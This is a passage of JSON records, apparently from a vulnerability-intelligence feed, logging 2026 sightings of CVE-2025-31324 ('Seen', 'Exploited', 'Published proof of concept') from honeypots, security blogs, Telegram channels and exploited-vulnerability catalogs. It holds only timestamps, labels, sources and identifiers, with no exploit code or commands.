"2026-03-18T01:20:05.078Z", "date_only": false, "value": "2026-03-18T01:20:05.078539Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hackmag.com/post/3mhcd2ai4rj26", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1b416a05-f8f4-4b8f-8893-ab49e9da0c9f", "url": "https://bsky.app/profile/hackmag.com/post/3mhcd2ai4rj26"}, {"timestamp": "2026-03-23T00:00:00Z", "date_only": false, "value": "2026-03-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-23)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "75654752-b469-412e-b39b-df6ff7f07553"}, {"timestamp": "2026-03-24T00:00:00Z", "date_only": false, "value": "2026-03-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-24)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "69cf51be-3256-40ee-8fd9-36f45801c027"}, {"timestamp": "2026-03-25T00:00:00Z", "date_only": false, "value": "2026-03-25T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-25)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8e2ac137-01b8-44b7-910b-d68efd1307cc"}, {"timestamp": "2026-03-25T00:00:00Z", "date_only": false, "value": "2026-03-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-25)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e54b710c-a2eb-4d44-a431-8834618b4f93"}, {"timestamp": "2026-03-29T00:00:00Z", "date_only": false, "value": "2026-03-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-29)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "91a6cb02-971e-45cb-aef4-70679c3a22c5"}, {"timestamp": "2026-04-02T00:00:00Z", "date_only": false, "value": "2026-04-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-02)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b053ba89-afda-4e2a-aa9a-4d258723d39d"}, {"timestamp": "2026-04-06T04:00:00Z", "date_only": false, "value": "2026-04-06T04:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://www.microsoft.com/en-us/security/blog/2026/04/06/storm-1175-focuses-gaze-on-vulnerable-web-facing-assets-in-high-tempo-medusa-ransomware-operations/", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b2b4289c-a548-42e4-8b7f-117bc11bec8e", "url": "https://www.microsoft.com/en-us/security/blog/2026/04/06/storm-1175-focuses-gaze-on-vulnerable-web-facing-assets-in-high-tempo-medusa-ransomware-operations/"}, {"timestamp": "2026-04-07T04:00:00Z", "date_only": false, "value": "2026-04-07T04:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://www.microsoft.com/en-us/security/blog/2026/04/06/storm-1175-focuses-gaze-on-vulnerable-web-facing-assets-in-high-tempo-medusa-ransomware-", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "815b3358-d1be-453b-9b88-b7393b5fb1d2", "url": "https://www.microsoft.com/en-us/security/blog/2026/04/06/storm-1175-focuses-gaze-on-vulnerable-web-facing-assets-in-high-tempo-medusa-ransomware-"}, {"timestamp": "2026-04-08T07:25:53Z", "date_only": false, "value": "2026-04-08T07:25:53.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/f3b16ca9-f749-4169-9a68-b159e6aaf5ed", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8e7e3848-7ca5-4dcd-8feb-3c9ab62db37a"}, {"timestamp": "2026-04-09T00:00:00Z", "date_only": false, "value": "2026-04-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-09)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "fef6f3cc-32d6-4353-a24c-922353058537"}, {"timestamp": "2026-04-13T00:00:00Z", "date_only": false, "value": "2026-04-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-13)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "178700be-e067-48b2-aea0-84ca375b60aa"}, {"timestamp": "2026-04-18T00:00:00Z", "date_only": false, "value": "2026-04-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-18)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7a2b75a4-ef34-4400-b821-e1d505c46d85"}, {"timestamp": "2026-04-18T13:07:25Z", "date_only": false, "value": "2026-04-18T13:07:25.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/f3b16ca9-f749-4169-9a68-b159e6aaf5ed", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b02b6ca5-cc15-4fc4-ad6e-4ad4c4fb8642"}, {"timestamp": "2026-04-19T00:00:00Z", "date_only": false, "value": "2026-04-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-19)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "52b83df3-4004-4c89-a934-681782d20ff6"}, {"timestamp": "2026-04-20T00:00:00Z", "date_only": false, "value": "2026-04-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-20)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3116cebf-097f-4218-95a9-13df9be51b80"}, {"timestamp": "2026-04-29T00:00:00Z", "date_only": false, "value": "2026-04-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-29)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "da0bdbb2-643c-4df7-828a-9474d3b95535"}, {"timestamp": "2026-04-30T00:00:00Z", "date_only": false, "value": "2026-04-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-30)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b15c5034-70cb-4573-9253-58c2c303c929"}, {"timestamp": "2026-05-08T00:00:00Z", "date_only": false, "value": "2026-05-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-08)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "91057679-eb3f-4605-bf01-9cba0408967a"}, {"timestamp": "2026-05-09T00:00:00Z", "date_only": false, "value": "2026-05-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-09)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "bec0c25a-a2a1-4664-b4ac-ee4f2bee47e4"}, {"timestamp": "2026-05-10T00:00:00Z", "date_only": false, "value": "2026-05-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-10)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7975f4f0-c499-4a04-9527-3043cb66d885"}, {"timestamp": "2026-05-15T00:00:00Z", "date_only": false, "value": "2026-05-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-15)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7f6bda55-6f1c-45d5-a058-d5d794888f64"}, {"timestamp": "2026-05-28T00:00:00Z", "date_only": false, "value": "2026-05-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-28)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3bf47792-1f74-4da0-b185-521a4cee55d3"}, {"timestamp": "2026-06-01T00:00:00Z", "date_only": false, "value": "2026-06-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-01)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "18320b38-d687-480f-872a-c162489db46f"}, {"timestamp": "2026-06-08T00:00:00Z", "date_only": false, "value": "2026-06-08T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-08)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7ba31a1b-9e65-4f8b-baf0-d7118aecb4d8"}, {"timestamp": "2026-06-11T00:00:00Z", "date_only": false, "value": "2026-06-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-11)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8a506384-c78f-491f-80e5-b39ee255a225"}, {"timestamp": "2026-06-19T12:46:16.851Z", "date_only": false, "value": "2026-06-19T12:46:16.851590Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/83a8d9c7-99ed-40fc-b632-db0105a5d518", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8c0c7c26-88ba-459a-bb68-79b3538d5309", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/83a8d9c7-99ed-40fc-b632-db0105a5d518"}, {"timestamp": "2026-06-23T11:11:17Z", "date_only": false, "value": "2026-06-23T11:11:17+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2025-31324", "field": "timestamps.recorded_at", "uuid": "c3fcd6e2-c34d-4216-a820-a1fa9c90d774", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T11:13:02.997Z", "date_only": false, "value": "2026-06-23T11:13:02.997427Z", "kind": "sighting", "label": "Exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/c3fcd6e2-c34d-4216-a820-a1fa9c90d774", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0d9bd39c-4246-4c51-8a93-7fcd6bd03e95", "url": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/c3fcd6e2-c34d-4216-a820-a1fa9c90d774"}, {"timestamp": "2026-06-23T14:04:19.212Z", "date_only": false, "value": "2026-06-23T14:04:19.212332Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8cce02f0-8a48-4c75-bcac-552310fe758c", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c0947e89-9ad5-41d0-9e02-3726c8bf60cc", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8cce02f0-8a48-4c75-bcac-552310fe758c"}, {"timestamp": "2026-06-27T10:00:07.658Z", "date_only": false, "value": "2026-06-27T10:00:07.658839Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-26)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "da5265bc-c95d-4b21-a1a3-016488b488a9"}, {"timestamp": "2026-06-28T10:00:05.184Z", "date_only": false, "value": "2026-06-28T10:00:05.184879Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-27)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f1a035c3-fc4a-458a-bb69-9dbc33457c6e"}, {"timestamp": "2026-06-29T10:00:04.469Z", "date_only": false, "value": "2026-06-29T10:00:04.469442Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-28)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "dbaef508-29e2-4b8d-bef7-6607628b16ca"}, {"timestamp": "2026-06-30T09:23:54.644Z", "date_only": false, "value": "2026-06-30T09:23:54.644314Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/894d44bf-ad64-420b-8810-6c465012e4ca", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "db8ee52a-76df-4268-b16c-1eff2c5fd1e2", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/894d44bf-ad64-420b-8810-6c465012e4ca"}, {"timestamp": "2026-06-30T10:00:04.666Z", "date_only": false, "value": "2026-06-30T10:00:04.666019Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-29)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "277f9e80-3180-45f7-a222-4d915b016567"}, {"timestamp": "2026-07-01T05:54:04.798Z", "date_only": false, "value": "2026-07-01T05:54:04.798529Z", "kind": "sighting", "label": "Exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/aecafc14-6972-4095-82f7-ccba5b13b096", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4c6e61ed-ce3f-401d-8586-8e3b01df9389", "url": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/aecafc14-6972-4095-82f7-ccba5b13b096"}, {"timestamp": "2026-07-01T10:01:05.987Z", "date_only": false, "value": "2026-07-01T10:01:05.987837Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-30)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c90ac8cc-7910-4b5b-b161-d0a560d88c00"}, {"timestamp": "2026-07-05T10:00:13.384Z", "date_only": false, "value": "2026-07-05T10:00:13.384172Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-04)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4ac9cbf4-ff96-4c4e-9ff5-b3d6d4e81fa3"}, {"timestamp": "2026-07-11T10:00:06.069Z", "date_only": false, "value": "2026-07-11T10:00:06.069383Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-10)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "33fea086-8b0b-43cc-803a-f5391dbb1fc6"}, {"timestamp": "2026-07-11T22:00:07.724Z", "date_only": false, "value": "2026-07-11T22:00:07.724626Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/2OctfRjTwTb4sk4IDGTYrwTJ3mtx5aGqcYyOPzacdudXe1iu", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ddf3cd8e-8e86-47e1-87b3-1efcaf73ba8e"}, {"timestamp": "2026-07-12T00:00:20.393Z", "date_only": false, "value": "2026-07-12T00:00:20.393826Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/2OctfRjTwTb4sk4IDGTYrwTJ3mtx5aGqcYyOPzacdudXe1iu", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ac6984cb-e077-45c8-82a6-58ca5a081833"}, {"timestamp": "2026-07-12T22:00:07.422Z", "date_only": false, "value": "2026-07-12T22:00:07.422080Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/securixy_kz/1144", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5bf56be7-6b36-43bc-a8dd-5df82e7ee130", "url": "https://t.me/securixy_kz/1144"}, {"timestamp": "2026-07-13T00:00:18.405Z", "date_only": false, "value": "2026-07-13T00:00:18.405074Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/securixy_kz/1144", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4be3b3eb-b2d3-4f77-9d50-d3602690aaf7", "url": "https://t.me/securixy_kz/1144"}, {"timestamp": "2026-07-14T00:01:02.107Z", "date_only": false, "value": "2026-07-14T00:01:02.107167Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/securixy_kz/1144", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4775f4cc-cb7b-4b84-a575-c76a77a67c3e", "url": "https://t.me/securixy_kz/1144"}, {"timestamp": "2026-07-15T10:00:04.591Z", "date_only": false, "value": "2026-07-15T10:00:04.591949Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/HackerNewsAR/2150", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ea100d6c-9311-4ecd-8d64-2f91dbdd400f", "url": "https://t.me/HackerNewsAR/2150"}, {"timestamp": "2026-07-15T10:00:13.362Z", "date_only": false, "value": "2026-07-15T10:00:13.362196Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-14)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "baa984fe-3d36-406d-b1ad-98236a207344"}, {"timestamp": "2026-07-16T00:00:19.949Z", "date_only": false, "value": "2026-07-16T00:00:19.949625Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/HackerNewsAR/2150", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0013becd-d43a-43fd-9567-ea5eb9d45308", "url": "https://t.me/HackerNewsAR/2150"}, {"timestamp": "2026-07-17T10:00:09.137Z", "date_only": false, "value": "2026-07-17T10:00:09.137465Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-16)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "eea73139-ecc5-49f4-bf4d-7d4843bd4db4"}, {"timestamp": "2026-07-20T19:00:03.897Z", "date_only": false, "value": "2026-07-20T19:00:03.897693Z", "kind": "sighting", "label": "Seen", "source": "Telegram/CU86z9dFPY6ZxnRt1faOmopk5glqe48fAS5ilgOc2n44XZk", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "bd11cf7e-43e3-4ec5-b44e-416c539144e4"}, {"timestamp": "2026-07-20T22:00:04.195Z", "date_only": false, "value": "2026-07-20T22:00:04.195285Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/pphm_HackerNews/378", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f8c22bd7-6010-4f6d-8236-83be98b520af", "url": "https://t.me/pphm_HackerNews/378"}, {"timestamp": "2026-07-21T00:00:10.461Z", "date_only": false, "value": "2026-07-21T00:00:10.461619Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/pphm_HackerNews/378", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "fb5267c3-6879-4ca1-a3a8-e387082be943", "url": "https://t.me/pphm_HackerNews/378"}, {"timestamp": "2026-07-21T00:00:20.270Z", "date_only": false, "value": "2026-07-21T00:00:20.270201Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/CU86z9dFPY6ZxnRt1faOmopk5glqe48fAS5ilgOc2n44XZk", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c7d77e38-6a3c-4d9d-b8cb-a1d7b107cab7"}, {"timestamp": "2026-07-23T10:00:19.985Z", "date_only": false, "value": "2026-07-23T10:00:19.985448Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-22)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0c8e605d-5f40-4323-b8db-e971fdca472a"}, {"timestamp": "2026-07-25T15:00:13.350Z", "date_only": false, "value": "2026-07-25T15:00:13.350689Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ZerodayAlert/505", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8d1bee72-1c06-49bd-b56c-151572b1702d", "url": "https://t.me/ZerodayAlert/505"}, {"timestamp": "2026-07-26T00:00:29.623Z", "date_only": false, "value": "2026-07-26T00:00:29.623771Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/ZerodayAlert/505", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ef3e0c28-12bd-40e0-9f6e-ef9e72253aba", "url": "https://t.me/ZerodayAlert/505"}, {"timestamp": "2026-07-26T02:03:02.201Z", "date_only": false, "value": "2026-07-26T02:03:02.201098Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Positive_Technologies/3779", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "663dc386-0b4c-4649-a820-b59da6ea2143", "url": "https://t.me/Positive_Technologies/3779"}, {"timestamp": "2026-07-27T00:01:24.639Z", "date_only": false, "value": "2026-07-27T00:01:24.639718Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Positive_Technologies/3779", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ce0f1582-173e-4321-a1ba-52a185d799b2", "url": "https://t.me/Positive_Technologies/3779"}, {"timestamp": "2026-07-28T16:00:09.983Z", "date_only": false, "value": "2026-07-28T16:00:09.983319Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Positive_Technologies/3779", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "569147a8-c421-40d7-9d4c-6409cb5f557b", "url": "https://t.me/Positive_Technologies/3779"}, {"timestamp": "2026-07-29T00:00:33.109Z", "date_only": false, "value": "2026-07-29T00:00:33.109766Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Positive_Technologies/3779", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5bea92f9-0981-4796-8fe4-a706a57c588b", "url": "https://t.me/Positive_Technologies/3779"}, {"timestamp": "2026-07-29T09:00:07.918Z", "date_only": false, "value": "2026-07-29T09:00:07.918047Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/rtinfobez/389", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "92824d0b-ffd0-4fb6-a0af-24d662b12bb1", "url": "https://t.me/rtinfobez/389"}, {"timestamp": "2026-07-30T00:02:06.488Z", "date_only": false, "value": "2026-07-30T00:02:06.488636Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/rtinfobez/389", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "658ff17f-a892-45b3-a84d-bb85c9a4b497", "url": "https://t.me/rtinfobez/389"}, {"timestamp": "2026-07-31T10:00:08.019Z", "date_only": false, "value": "2026-07-31T10:00:08.019667Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-30)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "371776c1-247d-494a-87a6-0ff730be2c86"}, {"timestamp": "2026-08-04T03:55:48.709Z", "date_only": false, "value": "2026-08-04T03:55:48.709Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2025-31324", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-08-04T03:55:48.709Z", "date_only": false, "value": "2026-08-04T03:55:48.709Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "cve-2025-31324", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2026-08-04T05:16:34.557Z", "date_only": false, "value": "2026-08-04T05:16:34.557", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2025-31324", "record": "FKIE_CVE-2025-31324", "field": "lastModified"}, {"timestamp": "2026-08-04T12:02:11.652Z", "date_only": false, "value": "2026-08-04T12:02:11.652522Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/vulnsea.com/post/3msaxqfr2vb22", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6f8b98d4-b65e-4613-9155-122c87a34ed2", "url": "https://bsky.app/profile/vulnsea.com/post/3msaxqfr2vb22"}, {"timestamp": "2026-08-07T10:22:55.983Z", "date_only": false, "value": "2026-08-07T10:22:55.983452Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-06)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "0eca3ac8-78e2-42e6-bed0-f106280751d5"}, {"timestamp": "2026-08-11T10:00:07.789Z", "date_only": false, "value": "2026-08-11T10:00:07.789529Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-10)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "24ec3817-9c41-477d-823c-e77ceb46607e"}, {"timestamp": "2026-08-14T16:00:16.843Z", "date_only": false, "value": "2026-08-14T16:00:16.843361Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/purp_sec/576", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c6e23cfc-f4d9-4c78-8a21-f1ae175d3bac", "url": "https://t.me/purp_sec/576"}, {"timestamp": "2026-08-14T16:00:17.104Z", "date_only": false, "value": "2026-08-14T16:00:17.104932Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/purp_sec/570", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d96ae9ec-e55c-4451-9181-ded88caef4cc", "url": "https://t.me/purp_sec/570"}, {"timestamp": "2026-08-18T10:00:07.223Z", "date_only": false, "value": "2026-08-18T10:00:07.223867Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-17)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2c24b944-5f52-40b1-9cca-94446bba2cea"}, {"timestamp": "2026-09-01T10:00:07.548Z", "date_only": false, "value": "2026-09-01T10:00:07.548148Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-31)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e15cdb6a-b31b-48c6-abf3-634e0c6ee25a"}, {"timestamp": "2026-09-01T17:00:13.184Z", "date_only": false, "value": "2026-09-01T17:00:13.184894Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/7811", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "3fdd6946-aaf7-45b7-9a6c-ac09eeaaa99f", "url": "https://t.me/cissp/7811"}, {"timestamp": "2026-09-04T10:00:03.919Z", "date_only": false, "value": "2026-09-04T10:00:03.919497Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-03)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f76baca1-9827-45de-9c3b-c2965812cd4a"}, {"timestamp": "2026-09-05T10:00:13.722Z", "date_only": false, "value": "2026-09-05T10:00:13.722899Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-04)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f25ff504-6859-4ce8-8b26-710ce59a0144"}, {"timestamp": "2026-09-09T03:00:06.398Z", "date_only": false, "value": "2026-09-09T03:00:06.398990Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cissp/7811", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b96567bd-5ddf-4e03-a8dd-8649fe863b17", "url": "https://t.me/cissp/7811"}, {"timestamp": "2026-09-09T10:00:05.140Z", "date_only": false, "value": "2026-09-09T10:00:05.140019Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-08)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "fb3fea83-4bd8-47e1-b0db-6a7462046242"}, {"timestamp": "2026-09-11T10:00:11.685Z", "date_only": false, "value": "2026-09-11T10:00:11.685566Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-10)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8defc4e6-0b32-496f-acf6-54ab8cbdaf42"}, {"timestamp": "2026-09-12T10:00:15.946Z", "date_only": false, "value": "2026-09-12T10:00:15.946903Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-11)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c02b0ebf-bbef-4f80-90be-e6d7bdc0edab"}, {"timestamp": "2026-09-14T10:00:06.040Z", "date_only": false, "value": "2026-09-14T10:00:06.040534Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-13)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d5203eb7-6ad8-42e9-83bd-837a853fc639"}, {"timestamp": "2026-09-17T10:00:07.796Z", "date_only": false, "value": "2026-09-17T10:00:07.796174Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-16)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a8159832-ba66-4e20-b81d-38c5be9dee61"}, {"timestamp": "2026-09-19T10:00:08.014Z", "date_only": false, "value": "2026-09-19T10:00:08.014939Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-18)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f433c0c5-411e-4748-b0e4-9a421895cc68"}, {"timestamp": "2026-09-21T10:00:05.686Z", "date_only": false, "value": "2026-09-21T10:00:05.686232Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-20)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9a3ba8e4-7b60-40f7-962d-e592009a263e"}, {"timestamp": "2026-10-20T00:00:00Z", "date_only": false, "value": "2026-10-20T00:00:00+00:00", "kind": "kev", "label": "Last seen", "source": "shadowserver", "record": "CVE-2025-31324", "field": "timestamps.last_seen_at", "uuid": "aecafc14-6972-4095-82f7-ccba5b13b096", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-10-20T00:00:00Z", "date_only": true, "value": "2026-10-20", "kind": "kev", "label": "Observation date", "source": "shadowserver", 